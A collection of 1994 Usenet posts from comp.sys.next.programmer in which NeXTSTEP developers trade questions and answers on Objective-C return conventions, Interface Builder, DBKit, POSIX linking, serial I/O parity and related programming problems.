Newsgroups: comp.sys.next.programmer From: ericb@il.us.swissbank.com (Eric_Brown) Subject: Re: returning void instead of self Message-ID: <1994Jun13.193415.24178@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2ti318$euf@rosie.next.com> Date: Mon, 13 Jun 1994 19:34:15 GMT Ralph Zazula writes > > Another issue in this debate is the use of returning "nil" for errors and > "self" for non-errors. If you really mean to return success/failure, one > might be better off choosing (BOOL) as the return type. > > This approach brings more clarity to the API. > > Also, if you're worried about losing the ability to nest messages, be > careful to consider only those cases where the nested code relied on the > "self" being the return value. For example, code like this will never be > affected by the outcome of this debate: > > [[myView window] makeKeyAndOrderFront:nil]; > In practice, I never nest messages that return self for exactly these reasons. There are many methods that return nil on an error condition. By nesting, you lose the ability to do any error checking. However, nesting the above messages is fine (as long as you don't care if [myView window] returns anything or not). The View method -window returns a meaningful value that can rightfully be used as the receiver of another message. The same goes for the class method +alloc. This is another case where nesting is both common and appropriate. The +alloc method returns an instance that can be used as a receiver of another message (say, -init for instance). It is my feeling that return values should be meaningful. Additionally, they should not try to convey extraneous information than is unneeded. Any method that only returns self, should not return anything. And, any method that needs to return success/failure should return a BOOL to represent those conditions. Unfortunately, we have gotten to a point where returning self is commonplace as it is used in a significant number of NeXT's methods. So much so that changing it would probably break so much code that it is not worth it. Then the question is what should we do with new code developed (both ours and NeXT's)? Should we follow the current conventions to be consistent, or should we start adopting conventions that we feel are more correct? As for me, I'm sticking with the current convention of returning self to maintain the consistency. Besides, my fingers are so trained that typing 'return self;' is like a single keystroke for me ;-). If NeXT decides to change their usage in new objects and Frameworks (hint, hint), I will probably follow them, but for now it's 'return self' away... -- _______________________________________________________________ / Eric Brown | The opinions expressed here \ | NEXTSTEP Consultant | are mine and do not necessarily | | CG Computer Services | represent those of my employer | | ericb@il.us.swissbank.com | or SBC. | \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: returning void instead of self Message-ID: <1994Jun13.141002.3995@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <2ta8n9$56f@gap.cco.caltech.edu> Date: Mon, 13 Jun 94 14:10:02 GMT In article <2ta8n9$56f@gap.cco.caltech.edu> ernest@pundit.cithep.caltech.edu (Ernest Prabhakar) writes: > jfr@trwlasd.com writes > > Ali Ozer writes [deleted] > The issue is not returning objects - the issue is Returning, period. > If a method has a 'void' return type, it never need return at all. The > message can be sent off asynchronously, and the main thread go off to > other things. Avoiding a round trip can save you significant amounts > of time. Correct me if I'm wrong, but this is not true. Don't you need to have a return type of (oneway void) to get that wonderful asynchronicity? Otherwise it is assumed synchronous. [deleted] > > -- Ernie P. > -- > Ernest N. Prabhakar Caltech High Energy Physics -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | +--------< All opinions expressed here are mine and mine alone >---------+
Newsgroups: comp.sys.next.programmer From: frank_m@sat.mot.com (Mark Frank) Subject: Querying objects Message-ID: <1994Jun13.161753.26966@sat.mot.com> Sender: usenet@sat.mot.com (Usenet Accoun) Organization: Motorola Inc. - Satellite Communications Date: Mon, 13 Jun 1994 16:17:53 GMT I have a philosophical question about querying objects. If I have an object that contains other objects, and I want information from these objects, should I message these objects directly, or send a message to the container object? A case in point: I have a constellation class consisting of a bunch of satellites. Should I return a pointer from the constellation object to the satellite I want to query, or should I query the satellite through the constellation object? I have previously used the f method, but I'm not sure which is the preferred way. - Thanks, Mark p25231@email.mot.com
From: samschap@merle.acns.nwu.edu (Sam Schapmann) Newsgroups: comp.sys.next.programmer Subject: Re: Problem - changing menu cell titles. Date: 13 Jun 1994 22:55:18 GMT Organization: Northwestern University, Evanston, IL USA Message-ID: <2tio4m$k3n@news.acns.nwu.edu> Naveen, Have you tried using DPSFlush() ? Expires: References: <2t6e6k$6nq@masala.cc.uh.edu> Sender: Followup-To: Distribution: Organization: Halaby Corp. Keywords: Cc:
From: sra@wam.umd.edu (Rich Andrews) Newsgroups: comp.sys.next.programmer Subject: Re: Querying objects Date: 14 Jun 1994 01:23:25 GMT Organization: Proxima Inc., McLean Virginia Message-ID: <2tj0qd$qoo@cville-srv.wam.umd.edu> References: <1994Jun13.161753.26966@sat.mot.com> Mark Frank (frank_m@sat.mot.com) wrote: : I have a philosophical question about querying objects. If I have an :object that contains other objects, and I want information from these objects, :should I message these objects directly, or send a message to the container :object? A case in point: I have a constellation class consisting of a bunch :of satellites. Should I return a pointer from the constellation object to the :satellite I want to query, or should I query the satellite through the :constellation object? I have previously used the f (line was truncated...) : method, but I'm not sure which is the preferred way. : - Thanks, Mark : p25231@email.mot.com If performance is not an issue, use objective C constructs to your heart's content. They are nice and readable. However, to speed life up, you can depart from the object-oriented paradigm. Something like this, assuming that you may have subclassed List: // this is document somewhere in the dev docs. List *aList id ptr; ptr = NX_ADDRESS(aList); while (aCondition) [*(ptr++) aMessageDirectlyToAnIdHeldInaList]; But to more precisely answer your question, the overhead of getting an id from an object that has 'control' over other objects isn't too bad at all, and it drastically reduces surface area between your objects. Why be concerned about 450 satellite objects when you may only need to know of one constellation? // here we are only concerned about a string constant [[constellation satelliteNamed:"IO"] inclination]; is much nicer than having self worry about many different objects... // here we are concerned about managing bunches of object pointers. [anIdFromSomewhereWithinSelf inclination]; Rich -- sra@proxima.com | 1(703)506-1661 [[[Sra alloc] init] setDelegate:receptionist]; sra@wam.umd.edu | 1(703)848-0804 [sender faxPSCode]; 1(301)587-0600 [self zone]; 1(301)629-4589 [sra respondsTo:@selector(beeper:)];
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: returning void instead of self Message-ID: <1994Jun14.024509.376@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994Jun10.144201.2014@il.us.swissbank.com> Date: Tue, 14 Jun 1994 02:45:09 GMT Hmmm. What happens if you registered a protocol checker for a private object and your private object returns self? I think the client gets access to an object it shouldn't have access to. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting + 1 617 252 0088 info@hot.com In article <1994Jun10.144201.2014@il.us.swissbank.com> ericb@il.us.swissbank.com (Eric_Brown) writes: > Actually, if you think about it, there should be no problem returning self from > a remote object. If a DO message has reached your object, then the sender must > already have a proxy to it. Returning self should NEVER cause a new proxy to > be created. > > -- > _______________________________________________________________ > / Eric Brown | The opinions expressed here \ > | NEXTSTEP Consultant | are mine and do not necessarily | > | CG Computer Services | represent those of my employer | > | ericb@il.us.swissbank.com | or SBC. | > \___________________________|___________________________________/
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Finding out ports in use (was Re: PB frill) Message-ID: <CrCuDG.M4J@agedwards.com> Date: Mon, 13 Jun 1994 21:29:39 GMT References: <1994Jun9.214346.19378@fnbc.com> Organization: A. G. Edwards & Sons, Inc. Drew Davidson (drew@fnbc.com) wrote: : In article <1994Jun6.144820.1688@afs.com> Michael_Pizolato@afs.com (Michael : Pizolato) writes: : > Certain tools that run during a PB build obviously communicate with : > PB so that the messages in the Build view (e.g. which file is : > currently compiling) get updated. Anybody know how to send such a : > message to PB? I have certain extensive makefile additions and : > modifications, and I'd like to send some of my own messages to PB. : > : > Thanx, : > Michael : I have no clue how to use these protocols, but one must assume that you could : get the NXPort for the PB process and send messages. BuildServer is started : with: This kind of brings up a question I've had for some time. In TCP/IP, one can use netstat(8) to find out ports that are currently being listened upon; certain other utilities exist to tie a port back to a process. Is there a corresponding facility under Mach for Mach ports? What about something to query nmserver? -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
Newsgroups: comp.sys.next.programmer From: Atze (Alexander Spohr) Subject: Re: Launching Mail.app on login, but only if unread/new mail. Advice sought. Message-ID: <1994Jun14.073644.253@dart.de> Sender: aspohr@dart.de Organization: d'ART Software GmbH References: <2tefec$spt@nic-nac.CSU.net> Date: Tue, 14 Jun 94 07:36:44 GMT In article <2tefec$spt@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > In article <2te44d$od3@masala.cc.uh.edu> pakala@tree.egr.uh.edu writes: > >I want Mail.app to auto-launch on login only if I have new mail - right now I > >am using Workspace to automatically launch Mail.app from the Dock. > > > >Since motd.app alerts me when I login that I have unread/new mail, I am sure > >that there must be some way to recognize if I have received mail since I last > >read my mail. > > The source code is publicly available, so it shouldn't be too > difficult to modify it [no, I'm not volunteering] to adjust the > user's Workspace DockLaunchFlags default appropriately. [Things > are probably a bit more complicated on Intel systems and others > with variable screen sizes. Comments?] > > This behavior should be enabled only by an explicit per-user > default--I assume most people would not want it, but I can see > how it might be useful (particularly if WM wasn't selected for > autolaunch). > It should be enough to insert system("open Mailboxes/Active.mbox") if you have new mail. Atze -- Alexander Spohr, Hamburg, Germany Alexander_Spohr@DART.de (Mail ) Faces and faces (+49) 40 / 380 23-0 (Sound) See them and complain not (+49) 40 / 380 23-290 (Fax ) And am content with all
Newsgroups: comp.sys.next.programmer From: pelletk@il.us.swissbank.com (Ken Pelletier) Subject: DBKit App not loading adaptor [make install version only] Message-ID: <1994Jun10.212752.4959@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 10 Jun 1994 21:27:52 GMT We have a DBKit app that runs OK from Project Builder (either the .app or debug version), but when running the install version, it chokes when dynamically loading the SybaseAdaptor. The error message is: Error loading /NextLibrary/Adaptors/SybaseAdaptor.adaptor/SybaseAdaptor rld(): Undefined symbols: Cannot load adaptor: SybaseAdaptor. The Makefile.preamble does force unreferenced symbols to be loaded using the -u switch: OTHER_LDFLAGS = -u libdbkit_s -u libNeXT_s -u libsys_s The obvious (suspicious) difference between the install and app targets is that strip is run for install. However, no other DBKit apps are exibiting this behavior. Statically linking the adaptor fixes the problem, but doesn't solve the mystery. Anyone have experience with this problem? - Ken ken_pelletier@swissbank.com ken@nika.com
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Does NS have a trace? Date: Fri, 10 Jun 1994 18:03:09 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <8hyCARm00iUvQ6auNT@andrew.cmu.edu> In-Reply-To: <1994Jun10.101033.1123@uriela.in-berlin.de> Excerpts from netnews.comp.sys.next.programmer: 10-Jun-94 Re: Does NS have a trace? by Wilhelm Schaefer@uriela. > In article <shxoGwS00iUzA3SCR_@andrew.cmu.edu> Charles William Swiger > <infidel+@CMU.EDU> writes: > #Excerpts from netnews.comp.sys.next.programmer: 9-Jun-94 Does NS have a > #trace? by William Paul Vrotney@net > #> On a Sun there is a command "trace" for tracing the execution of progam > #> system calls. Is there a similar command for NEXTSTEP? > # > #Yes, called ptrace. It's not supported, but you can glean a lot of > #information about what it does by looking through the source to NeXT's > #version of gdb. > # > #-Chuck > > willy clara> which ptrace > ptrace: Command not found. > willy clara> > > Is ptrace an option of gdb, or is it a programm that I missed? Neither. Ptrace() is an undocumented system call used by one process to examine and manipulate the status of another process. The source code to gdb uses this call to debug programs. Look at 'man ptrace' and search for it in the source code to the gdb debugger. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: wwright@shell.portal.com (Bradly William Wright) Newsgroups: comp.sys.next.programmer Subject: Building a driver from scratch? Date: 15 Jun 1994 17:22:00 GMT Organization: Portal Communications Company Message-ID: <2tndbo$7fc@news1.svc.portal.com> Keywords: driver kit I'm having a terrible time trying to get configure.app to recognize the device driver that I built. Originally, I used the ProAudioSpectrum device driver as a template for my device driver, and this worked just fine. I simply pasted the code into the .m file and recompiled. The driver worked fine. Then, I decided to build a driver completely from begining. I created a new project of type bundle. I modified the makefile.preamble and makefile.postamble so that they would match the ProAudio driver. I created a strings file for the English version. I created a subproject of type tool. Then, I copied all of my files into the new sub-project, and added the load command file. I modified the makefile.preamable and .postamble for the sub-project. Then I compiled the driver. When I selected the option install driver from the configure.app, the file browser dialog box did not show my driver in the file directory that it was in. I openned the .config file directory the my driver was in and all the pieces were there. So, now I'm totally confused. What is the magic signature that configure.app is looking for in order to install the driver? Thanks in advance. Brad Wright WrightSystems wwright@shell.portal.com
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Does NS have a trace? Message-ID: <Cr8qCE.1Kt@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <8hyCARm00iUvQ6auNT@andrew.cmu.edu> Date: Sat, 11 Jun 1994 16:12:14 GMT Charles William Swiger <infidel+@CMU.EDU> writes > Ptrace() is an undocumented system call > Look at 'man ptrace' :-) -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: gtitus@moses.nwest.mccaw.com (Greg Titus) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 15 Jun 1994 17:54:35 GMT Organization: McCaw Cellular Communications, Inc. Distribution: world Message-ID: <2tnf8r$24c@ftp-p.mccaw.com> References: <2tko9m$46s@tribune.usask.ca> In article <2tko9m$46s@tribune.usask.ca> eric@pisces (Eric Norum) writes: [premises removed] > Suppose now, that I want to make a small change to one of the objects > on the IB palette -- say a Box. The changes are small enough that I could > even use a Category -- all I want to do is add a few methods. > > Using IB I can subclass Box just fine, but then I can't do anything else: > - If I try to Instantiate a new object, it won't let me select > MyBox as one of the classes. > - If I drag in a Custom View, IB will let me set the class to > MyBox, but I don't get the Box inspector when I select > the MyBox custom view. > - There's no way to `Group in MyBox'. > Am I missing something fundamental here? It seems that many of the > advantages of OOP are gone when using IB. Or am I just trying to use > the available tools the wrong way? Do I have to go through all the > effort of creating a new palette every time I want to make a little > change to a class? The short answer is: Yes, you are using IB the wrong way, because you should create a palette. If you want your classes functionality to be available within IB, you need to make a palette for that class. This makes perfect sense - how is IB supposed to know what your class does if you don't have a bundle with executable code it can load to find out? It is not at all difficult to make a palette. Given the code for whatever class you want to palettize, you can whip up a palette basically as long as it takes to create the project in PB. All that being said, it _would_ be nice if IB let you do things like group in a custom view... --Greg ---------- Greg Titus Omni Development Inc. toon@omnigroup.com > -- > Eric Norum eric@skatter.usask.ca > Saskatchewan Accelerator Laboratory > University of Saskatchewan > Saskatoon, Canada. NeXTMail accepted.
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 15 Jun 1994 19:03:03 GMT Organization: Brigham Young University Message-ID: <2tnj97$9fj@hamblin.math.byu.edu> References: <2tko9m$46s@tribune.usask.ca> <1994Jun15.061739.28925@news.media.mit.edu> Michael B. Johnson (wave@media.mit.edu) wrote: : Since IB is currently based on a dynamic, compiled language (i.e. Objective-C) : as opposed to a dynamic, incrementally compiled and interpreted language (pick : your favorite), C++ !!!!! :-) :-) :-) +--------------------------------------------------------------+ | Sean Luke This signature no verb | | sean@digaudio.byu.edu ,,, <- finger for PGP key | | sean@zapotec.math.byu.edu (o o) | +------------------------oOO--(_)--OOo-------------------------+
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.advocacyuy From: andrew@stone.com (Andrew Stone) Subject: ** STONE DESIGN RAVE ** Message-ID: <1994Jun14.145356.692@stone.com> Keywords: solstice dance Sender: andrew@stone.com Organization: Stone Design Corp Date: Tue, 14 Jun 1994 14:53:56 GMT Since my mailbox has been flooded with requests for info, I thought it would be useful to make a general announcement about this year's party... The Stone Design Rave will be held on the Solstice this year, Wednesday night at 9pm until dawn. Come celebrate the shortest night of the year! Spin by our booth to get your invitation - and a CD perhaps. ========================================================================= T H E C O S M I C D A N C E Dance is the manifestation of the primal vibrations of the universe. It is the means by which the Absolute brings creation into existence, sustains and maintains it, and eventually destroys it. God/dess, the supreme dancer, has no purpose other than the enjoyment of her/his own dynamic movements. Life's continual prodigal transformation of energy IS the dance. -- ||<<->>||<<==>>|S<<++>>|T<<?>O<+>>N|<<-->>E|<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Have Modem Why Travel !! ||<<->>|D<<==>>|E<<++>>|S<<?>|<+>>G|<<-->>N|<<==>>!|<<+>>||
Newsgroups: comp.sys.next.programmer From: cleelacj@agedwards.com (Chris Cleeland) Subject: Re: floating exception with -lposix Message-ID: <CrGGD4.A9o@agedwards.com> Date: Wed, 15 Jun 1994 20:17:28 GMT References: <CrEJ2L.6q@txnews.amd.com> Organization: A. G. Edwards & Sons, Inc. charles.herrick@amd.com wrote: : If I link with the posix library a la : cc test.c -lposix : and run a.out, I get "Floating exception." Compile it this way: cc -posix test.c -- ============================================================================== Chris Cleeland | NeXTMail: chris@milo.st-louis.mo.us BOS Dev. Team | MIMEMail: cleeland@agedwards.com | BellNet: (314) 289-5372
Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.os.mach,comp.unix.msdos,comp.soft-sys.nextstep From: bill@bilver.oau.org (Bill Vermillion) Subject: Re: Unix/DOS Serial I/O Organization: W. J. Vermillion - Orlando / Winter Park, FL Date: Wed, 15 Jun 1994 15:03:34 GMT Message-ID: <1994Jun15.150334.23322@bilver.oau.org> References: <Cr8M6n.4yE@csn.org> In article <Cr8M6n.4yE@csn.org>, Barry D. McQuain <mcquain@teal.csn.org> wrote: >Hi, > >I am having a problem sending data from a NeXT computer to a PC via a serial >cable. Using C, the app on the NeXT sends the data out its serial port >(9600, n, 8, 1 - defaults) and the PC recieves it. Unfortunately, the >high order bit gets "set" somehow on some of the data, and the PC is having >trouble receiving this "non-ascii" (>128) data. > >For example, If I send the letter "A" (ASCII 65), the PC receives "A" (ASCII >65). If I send the letter "C" (ASCII 67), the PC receives ASCII 195. This >happens on commas and carriage returns (13 becomes 141), etc. Unfortunately, >The PC program that is trying to receive this data is written in Basic, and >it reads in the data using INPUT commands, and since it never sees a comma >or a carriage return, it hangs. > >I am looking for a solution. The few suggestions so far have been: > >1) Send data using 7 bits. How do I do this from the NeXT side (using C). >2) ASCII mask the data as you send it ... This hasn't worked so far. Does > anyone know how to "fiddle" with the C to do this? (ioctl.h maybe?) >3) Rewrite the Basic in C. Can't, becasue its not my program and it is > about 4000 lines. > Somewhere along the line one machine or the other is using parity where it shouldn't be. A = 65 = 0100 0001 C = 67 = 0100 0011 C with high bit = 195 = 1100 0011 Sounds like you are transmitting as even parity, so that a parity bit is added to make the number of 1's transmitted come out to an even number You mentioned someone said mask the data as you send it. If the problem is sending side, that is not going work, as your data is already effectively 7bits when you deliver it to the serial handler. Mask it on the receive side. I had one real pisser (on an old System III on a Zilog Z8000) that had some really strange problems. It was not set for parity, but it added it anyway, and when it found the 8th bit high, it sign extended and made bits 8-15 high so 1/2 of the data transmitted came out as negative numbers. Your PC comm program should be able to handle this. Tell it to ignore parity. If your program doesn't do this, there are others that do. -- Bill Vermillion - bill@bilver.oau.org | bill.vermillion@oau.org
Newsgroups: comp.sys.next.programmer Subject: Stupid editor!! help Message-ID: <1994Jun15.125653.21533@cc.usu.edu> From: mike@hobbs.chem.usu.edu (mike emmel) Date: 15 Jun 94 12:56:52 MDT I want to take files sasved in the next editor and read them in vi (hey our risc6000 only has vi). Ed of course only puts a new line when you type return is there anybody that has a sriptfile or c program to add the line returns or is there a trick to make ed do it. I'll write one myself if nobody has it. If you have the code could you mail it to me at mike@hobbs.chem.usu.edu No sense doing thigs twice. Mike
Newsgroups: comp.sys.next.programmer From: jsafar@lehman.com (jean safar) Subject: RogueWave Message-ID: <CrG1G3.2BL@lehman.com> Sender: news@lehman.com (News) Organization: Lehman Brothers, Inc. References: <2ti4j1$dqu@salyko.cube.net> Date: Wed, 15 Jun 1994 14:55:13 GMT Hi, Sorry if this is a FAQ, I am getting to it (trying at least), has anyone compiled sucessfully RogueWave Tools.h++ on Next PC? Thanx for any answer! --- ------------------------------------------------------- John Safar jsafar@lehman.com I've seen things that you people ...
Newsgroups: comp.sys.next.programmer From: charles.herrick@amd.com Subject: Re: floating exception with -lposix Message-ID: <CrGIyx.I4C@txnews.amd.com> Sender: news@txnews.amd.com Organization: Advanced Micro Devices, Austin TX References: <2tml7m$k0q@brachio.zrz.TU-Berlin.DE> Date: Wed, 15 Jun 1994 21:13:44 GMT In article <2tml7m$k0q@brachio.zrz.TU-Berlin.DE> koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig) writes: > > In article <CrEJ2L.6q@txnews.amd.com>, <charles.herrick@amd.com> wrote: > >Hi all, > >If I link with the posix library a la > > cc test.c -lposix > >and run a.out, I get "Floating exception." > > Try adding -lm. Or try `cc -posix test.c'. Cry out loud for anything > that's failing with regards to POSIX. I have gone through the archives > of this newsgroup, but somehow I only find these posix-no-thanx > messages, that are not very constructive. > > The problem lies somewhere between libsys_s and libposix. Me too needs > a lead through the inconveniences of -posix. The most enigmatic > sentence in the Release Notes states: > > > Note that POSIX kernel interfaces are not supported for > > NEXTSTEP applications. > > Is that a confession, that they just didn't make it -- POSIX? Will > this be clean in NS 3.3 at least? POSIX makes more sense than just > running the POSIX test suites. It doesn't sound very fair to write > POSIX outside and show the wonderful features of NeXTstep, but then > state, that they are mutually exclusive. Are they? Cane me for not reading the manual first... In the online docs, in the release notes, they mention that 3.2 now supports POSIX and to use -posix with cc. cc -posix uname.c -lposix did the trick. Cheers cnh -- personal opinions
From: bakker@cyclon.aoml.erl.gov (Cary Bakker) Newsgroups: comp.sys.next.programmer Subject: drag/drop with id's on paste board.. has me baffled. Date: 15 Jun 1994 22:04:25 GMT Organization: U.S. Department of Commerce, NOAA/AOML Message-ID: <2tntt9$hqf@wave.aoml.erl.gov> Hey there... I have a subclass of Control that allows dragging and dropping of icons that represent objects that another programmer before me used. Here's what he used to do when writing the id to the paste board: id theObject; ... [pboard writeType:ObjectPboardType data:theObject length:sizeof(id)]; This appeared to work, but there were some discrepancies. The receiving end would get the id with: int length = sizeof(id); char *data; id newObject; ... [aPBoard readType:QCObjectPboardType data:&data length:&length] newObject = (id)data; The problem I noticed was that the id's were different. In the debugger, I could send messages to both addresses - the one sent and the one received - and they both worked fine. But why would the addresses of the objects be different? How could this work without creating a new object? The thing I did to make it work was to write the id to a stream using NXPrintf() to send it as an integer, and then use the stream to write to the pasteboard. Then the receiver would create a stream from the pasteboard and then scan it for the integer of the id, and cast it to (id). This works as I thought the first method should: the id sent is the same as the one received... If anyone out there can figure out why this happens like it does, please let my ignorant mind know ... It took me long enough to find out why my program wasn't working like it should have, and once I accidently found a solution, I still don't know why the first way didn't work! If I haven't explained things well, please e-mail for more info. Much thanks in advance, Cary -- ------------------------------------------------------------------------- Cary A. Bakker | Music is the pleasure the human soul C.S. Major | experiences from counting without FLorida International University | being aware that it is counting... NeXT Programmer | NOAA/AOML | -- Gottfried W. Leibniz
From: "Jeremy G. Mereness" <zonker+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: NeXT PostScript Printer Bug? Date: Wed, 15 Jun 1994 18:31:15 -0400 Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA Message-ID: <4hzs4ne00iM8E=NFYx@andrew.cmu.edu> I am having trouble printing a file on my NeXT printer... black hardware. It's a postscript file generated on a networked MS-Windows machine. I have routines that strip the file of all Windows funny stuff, like ^M and ^D's where there shouldn't be any. But after half a page gets printed, I get... Offending Command = unpack Error = nametype : undefined this name is not defined in the dictionary Stack = followed by page after page of similar messages (one per page). "unpack", it would appear, is very much defined in the header of the file. It defines a small graphic. But what really makes me wonder is that ghostview thinks the file is just fine. It displays perfectly. But if I send the same file to my NeXT printer, it barfs. I am running under NeXTStep for Motorola 3.2. I'd appreciate any help or leads. This bug wastes a whole lot of paper. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |Jeremy Mereness zonker+@cmu.edu | Support \ Ye Olde Disclaimer: | |Programmer/Analyst, FAST Laboratory| Free \ The above represents | |GSIA - Carnegie Mellon University | Software \ my opinions, alone.| |B.S.Mechanical Engineering, CMU'92 | NeXTMail Welcome\ Ya Gotta Love It.| | Every Silver Lining's Got a Touch of Grey | ----------------------------------------------------------------------------
From: abetanco@mtecv2.mty.itesm.mx (Alfonso Betancourt Guerra) Newsgroups: comp.sys.next.programmer Subject: Help with Oracle 7 Date: 15 Jun 1994 23:55:22 GMT Organization: ITESM, Campus Monterrey Message-ID: <2to4da$vum@mtecv2.mty.itesm.mx> Summary: Troubles with Oracle 7 and DBKit in DBModeler Keywords: A Hi everybody, I'm working with Oracle 7 and with the Oracle Adaptor, using DBKit (in NextStep 3.2). I would like to know if there is any problem trying to use both of them together. I had use Oracle 6 with DBKit and it worked all right. But with Oracle 7 the DBModeler couldn't load the tables previously defined in the database. Do you have any comments about it? Thanxs in advance, Alfonso Betancourt Guerra abetanco@mtecv2.mty.itesm.mx Monterrey, N.L. Mexico
From: jkolyer@axysdev.nwest.mccaw.com (Jonathan Kolyer) Newsgroups: comp.sys.next.programmer Subject: Re: still problems with matrixes Date: 16 Jun 1994 00:04:27 GMT Organization: McCaw Cellular Communications, Inc. Distribution: world Message-ID: <2to4ub$6kd@ftp-p.mccaw.com> References: <2tmdq7$b5@vega.info.isbiel.ch> In article <2tmdq7$b5@vega.info.isbiel.ch> biscm@info.isbiel.ch (Martin Bischoff) writes: > we had some problems with InterfaceBuilder, that seemed very strange to us: > > When we tried to access the matrix from the program, nothing happened. With the help of > gdb we found, that the id to the matrix was always 0. We tried to make the connection in > a different way, but it didn't work either. > > At last we made a second connection (from the Controller-Instance) to the matrix and it > worked (we could access the matrix from the controller). > Not sure if this applies to your problem exactly, but here goes: IB gets confused if you have a method called 'setYOUR_TARGET_IVAR:sender' that doesn't match its expectations. One of IB's expectations is that if you name a method as above, it will at least set YOUR_TARGET_IVAR to something (most likely `sender'). Of course, defining this method is optional according to IB. If it exists, IB will use it; if it doesn't IB will still set the ivar. Sooooo, if you forget that IB reserves that method for its purposes, and you use that name for something else ... strange things can happen. When you load the nib, IB will execute your 'setYOUR_TARGET_IVAR:sender' method, regardless of what it does. In summary, IB expects at least: - setYOUR_TARGET_IVAR:sender { YOUR_TARGET_IVAR = sender; return self; } but if you do something like, - setYOUR_TARGET_IVAR:sender { foobar(); return self; } foobar() will be called when the nib loads, and YOUR_TARGET_IVAR will remain nil. -- JK ________________________________ jonathan.kolyer@mccaw.com | This space intentionally Paradigm Systems Corporation | left blank...
Newsgroups: comp.sys.next.programmer,comp.sys.next.misc From: daf@wts.com (David A. Fox) Subject: Help! Wierd BIOS error when loading 3.2 Message-ID: <1994Jun15.145640.19385@wts.com> Date: Wed, 15 Jun 1994 14:56:40 EDT Organization: Wegmans Electronic Banking Services Hi, I am doing a complete install of NextStep 3.2 and get the error: fdisk:bogus bios info some bios can't handle non sequential targets fdisk:bogus bios info some bios can't handle non sequential targets /etc/rc.cdrom.i386: test: argument expected The above is close to but not the exact message. My system configuration is: 486DX2/66 5 EISA, 2 VESA Adaptec 1542B SCSI Controller Micropolis 1.08gig SCSI Hard drive NEC 3x SCSI CDROM ATI Ultra-Pro Video Card Teac 3.5 Floppy So what's my problem? Thanks in advance Dave Fox
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: 10 Jun 1994 22:41:08 GMT Organization: Division of Information Technology Message-ID: <2taq64$mn1@news.doit.wisc.edu> References: <1994Jun9.180102.21292@cc.usu.edu> In article <1994Jun9.180102.21292@cc.usu.edu> writes: > I found stricmp. Are NeXTs supposed to have the case insensitive version? > > -- kc Try using "strcasecmp(const char *, const char *)". arundel> man strcasecmp STRING(3) UNIX Programmer's Manual STRING(3) NAME strcat, strncat, strcmp, strncmp, strcpy, strncpy, strchr, strrchr, strspn, strcspn, strpbrk, strstr, strtok, strlen - string operations ... -E --- Erik Jacobsen jacobsen@cae.wisc.edu <--finger for PGP public key Compiler designers rarely do it. --- Aho, Sethi, Ullman, ``Compilers: Principles, Techniques, and Tools'', 2nd ed., p. 173
Newsgroups: comp.sys.next.programmer From: cliff@pdh.com (Cliff Tuel) Subject: Services in a non-standard directory Message-ID: <CrEq1L.In2@pdh.com> Organization: PDH, Inc. Date: Tue, 14 Jun 1994 21:51:25 GMT I've installed an app in a non-standard directory (/Net/server/NetApps/Applications). Inside the app wrapper is a "services" file. When I install the app in /LocalApps or ~/Apps, the services appear, but I'm not allowed to install the app in any of the standard directories so that's not a solution. I've tried putting a sym-link in ~/Apps, and make_services refuses to follow the link ("make_services debug" doesn't list it at all.) I also tried setting the "Workspace ApplicationPaths" default, but make_services doesn't seem to use it; if you do a strings on make_services, you'll see it has the pathnames hard-coded in. :-( BTW, this is NeXTSTEP 3.2 black. -- Cliff Tuel, cliff@pdh.com (NeXT mail OK) PDH, Inc. / 2635 N First St, Suite 224 / San Jose, CA 95134-2032 (408) 428-9596 Fax: (408) 428-9599
